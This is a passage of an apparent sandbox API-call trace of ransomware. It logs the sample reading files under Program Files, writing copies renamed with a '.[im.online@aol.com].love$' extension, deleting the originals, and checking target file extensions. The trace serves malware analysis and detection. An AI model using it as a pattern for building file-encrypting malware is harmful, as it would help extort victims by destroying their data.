(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0242.581] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.581] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.581] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.663] GetLastError () returned 0x0 [0242.663] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0242.790] WriteFile (in: hFile=0x388, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0242.907] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.907] WriteFile (in: hFile=0x388, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf4, lpOverlapped=0x0) returned 1 [0242.907] SetEndOfFile (hFile=0x388) returned 1 [0242.908] CloseHandle (hObject=0x388) returned 1 [0242.908] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.908] SetEndOfFile (hFile=0x450) returned 1 [0242.980] CloseHandle (hObject=0x450) returned 1 [0242.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.995] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0243.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.051] lstrlenW (lpString=".doc") returned 4 [0243.051] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0243.051] lstrlenW (lpString=".docx") returned 5 [0243.051] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0243.051] lstrlenW (lpString=".pdf") returned 4 [0243.051] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0243.051] lstrlenW (lpString=".xls") returned 4 [0243.051] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0243.051] lstrlenW (lpString=".xlsx") returned 5 [0243.051] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0243.051] lstrlenW (lpString=".ppt") returned 4 [0243.051] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0243.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.052] lstrlenW (lpString=".zip") returned 4 [0243.052] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString=".rar") returned 4 [0243.052] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString=".bz2") returned 4 [0243.052] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString=".7z") returned 3 [0243.052] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0243.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.052] lstrlenW (lpString=".dbf") returned 4 [0243.052] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.052] lstrlenW (lpString=".1cd") returned 4 [0243.052] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.052] lstrlenW (lpString=".jpg") returned 4 [0243.052] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.052] lstrlenW (lpString=".doc") returned 4 [0243.052] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString=".docx") returned 5 [0243.052] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0243.052] lstrlenW (lpString=".pdf") returned 4 [0243.052] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString=".xls") returned 4 [0243.052] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0243.052] lstrlenW (lpString=".xlsx") returned 5 [0243.053] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0243.053] lstrlenW (lpString=".ppt") returned 4 [0243.053] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0243.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.053] lstrlenW (lpString=".zip") returned 4 [0243.053] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0243.053] lstrlenW (lpString=".rar") returned 4 [0243.053] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0243.053] lstrlenW (lpString=".bz2") returned 4 [0243.053] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0243.053] lstrlenW (lpString=".7z") returned 3 [0243.053] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0243.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.053] lstrlenW (lpString=".dbf") returned 4 [0243.053] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0243.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.053] lstrlenW (lpString=".1cd") returned 4 [0243.053] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0243.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0243.053] lstrlenW (lpString=".jpg") returned 4 [0243.053] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0243.053] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0243.053] lstrlenW (lpString="showcase.exe") returned 12 [0243.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\showcase.exe" (normalized: "c:\\program files\\java\\showcase.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.076] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=78336) returned 1 [0243.076] CloseHandle (hObject=0x450) returned 1 [0243.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\showcase.exe" (normalized: "c:\\program files\\java\\showcase.exe")) returned 0x20 [0243.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\showcase.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\showcase.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.077] CreateFileW (lpFileName="C:\\Program Files\\Java\\showcase.exe" (normalized: "c:\\program files\\java\\showcase.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.125] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.125] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.125] lstrlenW (lpString=".doc") returned 4 [0243.125] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0243.125] lstrlenW (lpString=".docx") returned 5 [0243.125] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0243.125] lstrlenW (lpString=".pdf") returned 4 [0243.125] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0243.125] lstrlenW (lpString=".xls") returned 4 [0243.125] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0243.125] lstrlenW (lpString=".xlsx") returned 5 [0243.125] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0243.125] lstrlenW (lpString=".ppt") returned 4 [0243.125] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0243.125] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.125] lstrlenW (lpString=".zip") returned 4 [0243.125] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0243.125] lstrlenW (lpString=".rar") returned 4 [0243.125] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0243.125] lstrlenW (lpString=".bz2") returned 4 [0243.125] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0243.125] lstrlenW (lpString=".7z") returned 3 [0243.126] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0243.126] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.126] lstrlenW (lpString=".dbf") returned 4 [0243.126] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0243.126] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.126] lstrlenW (lpString=".1cd") returned 4 [0243.126] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0243.126] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.126] lstrlenW (lpString=".jpg") returned 4 [0243.126] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0243.126] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.126] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.126] lstrlenW (lpString=".doc") returned 4 [0243.126] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0243.126] lstrlenW (lpString=".docx") returned 5 [0243.126] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0243.126] lstrlenW (lpString=".pdf") returned 4 [0243.126] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0243.126] lstrlenW (lpString=".xls") returned 4 [0243.126] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0243.126] lstrlenW (lpString=".xlsx") returned 5 [0243.126] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0243.126] lstrlenW (lpString=".ppt") returned 4 [0243.126] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0243.127] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.127] lstrlenW (lpString=".zip") returned 4 [0243.127] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0243.127] lstrlenW (lpString=".rar") returned 4 [0243.127] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0243.127] lstrlenW (lpString=".bz2") returned 4 [0243.127] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0243.127] lstrlenW (lpString=".7z") returned 3 [0243.127] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0243.127] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.127] lstrlenW (lpString=".dbf") returned 4 [0243.127] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0243.127] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.127] lstrlenW (lpString=".1cd") returned 4 [0243.127] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0243.127] lstrlenW (lpString="C:\\Program Files\\Java\\showcase.exe") returned 34 [0243.127] lstrlenW (lpString=".jpg") returned 4 [0243.127] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0243.127] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.127] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0243.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.144] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=18624) returned 1 [0243.144] CloseHandle (hObject=0x450) returned 1 [0243.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0243.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.145] lstrlenW (lpString=".doc") returned 4 [0243.145] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.145] lstrlenW (lpString=".docx") returned 5 [0243.145] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.145] lstrlenW (lpString=".pdf") returned 4 [0243.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.145] lstrlenW (lpString=".xls") returned 4 [0243.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.145] lstrlenW (lpString=".xlsx") returned 5 [0243.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.145] lstrlenW (lpString=".ppt") returned 4 [0243.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.145] lstrlenW (lpString=".zip") returned 4 [0243.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.145] lstrlenW (lpString=".rar") returned 4 [0243.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.145] lstrlenW (lpString=".bz2") returned 4 [0243.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.145] lstrlenW (lpString=".7z") returned 3 [0243.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.145] lstrlenW (lpString=".dbf") returned 4 [0243.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.145] lstrlenW (lpString=".1cd") returned 4 [0243.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.146] lstrlenW (lpString=".jpg") returned 4 [0243.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.146] lstrlenW (lpString=".doc") returned 4 [0243.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString=".docx") returned 5 [0243.146] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.146] lstrlenW (lpString=".pdf") returned 4 [0243.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString=".xls") returned 4 [0243.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString=".xlsx") returned 5 [0243.146] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.146] lstrlenW (lpString=".ppt") returned 4 [0243.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.146] lstrlenW (lpString=".zip") returned 4 [0243.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString=".rar") returned 4 [0243.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.146] lstrlenW (lpString=".bz2") returned 4 [0243.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.146] lstrlenW (lpString=".7z") returned 3 [0243.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.146] lstrlenW (lpString=".dbf") returned 4 [0243.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.147] lstrlenW (lpString=".1cd") returned 4 [0243.147] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0243.147] lstrlenW (lpString=".jpg") returned 4 [0243.147] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.147] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.147] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0243.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.163] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=18624) returned 1 [0243.163] CloseHandle (hObject=0x544) returned 1 [0243.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0243.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.883] lstrlenW (lpString=".doc") returned 4 [0243.883] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.883] lstrlenW (lpString=".docx") returned 5 [0243.883] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.883] lstrlenW (lpString=".pdf") returned 4 [0243.883] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.883] lstrlenW (lpString=".xls") returned 4 [0243.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.883] lstrlenW (lpString=".xlsx") returned 5 [0243.883] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.883] lstrlenW (lpString=".ppt") returned 4 [0243.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.883] lstrlenW (lpString=".zip") returned 4 [0243.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.883] lstrlenW (lpString=".rar") returned 4 [0243.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.883] lstrlenW (lpString=".bz2") returned 4 [0243.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.883] lstrlenW (lpString=".7z") returned 3 [0243.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.883] lstrlenW (lpString=".dbf") returned 4 [0243.884] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.884] lstrlenW (lpString=".1cd") returned 4 [0243.884] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.884] lstrlenW (lpString=".jpg") returned 4 [0243.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.884] lstrlenW (lpString=".doc") returned 4 [0243.884] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString=".docx") returned 5 [0243.884] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.884] lstrlenW (lpString=".pdf") returned 4 [0243.884] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString=".xls") returned 4 [0243.884] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString=".xlsx") returned 5 [0243.884] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.884] lstrlenW (lpString=".ppt") returned 4 [0243.884] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.884] lstrlenW (lpString=".zip") returned 4 [0243.884] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString=".rar") returned 4 [0243.884] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.884] lstrlenW (lpString=".bz2") returned 4 [0243.885] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.885] lstrlenW (lpString=".7z") returned 3 [0243.885] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.885] lstrlenW (lpString=".dbf") returned 4 [0243.885] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.885] lstrlenW (lpString=".1cd") returned 4 [0243.885] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0243.885] lstrlenW (lpString=".jpg") returned 4 [0243.885] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.885] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.885] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0243.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0243.887] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=396960) returned 1 [0243.887] CloseHandle (hObject=0x538) returned 1 [0243.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll")) returned 0x420 [0243.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.888] lstrlenW (lpString=".doc") returned 4 [0243.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.888] lstrlenW (lpString=".docx") returned 5 [0243.888] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0243.888] lstrlenW (lpString=".pdf") returned 4 [0243.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.888] lstrlenW (lpString=".xls") returned 4 [0243.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.888] lstrlenW (lpString=".xlsx") returned 5 [0243.888] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0243.888] lstrlenW (lpString=".ppt") returned 4 [0243.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0243.888] 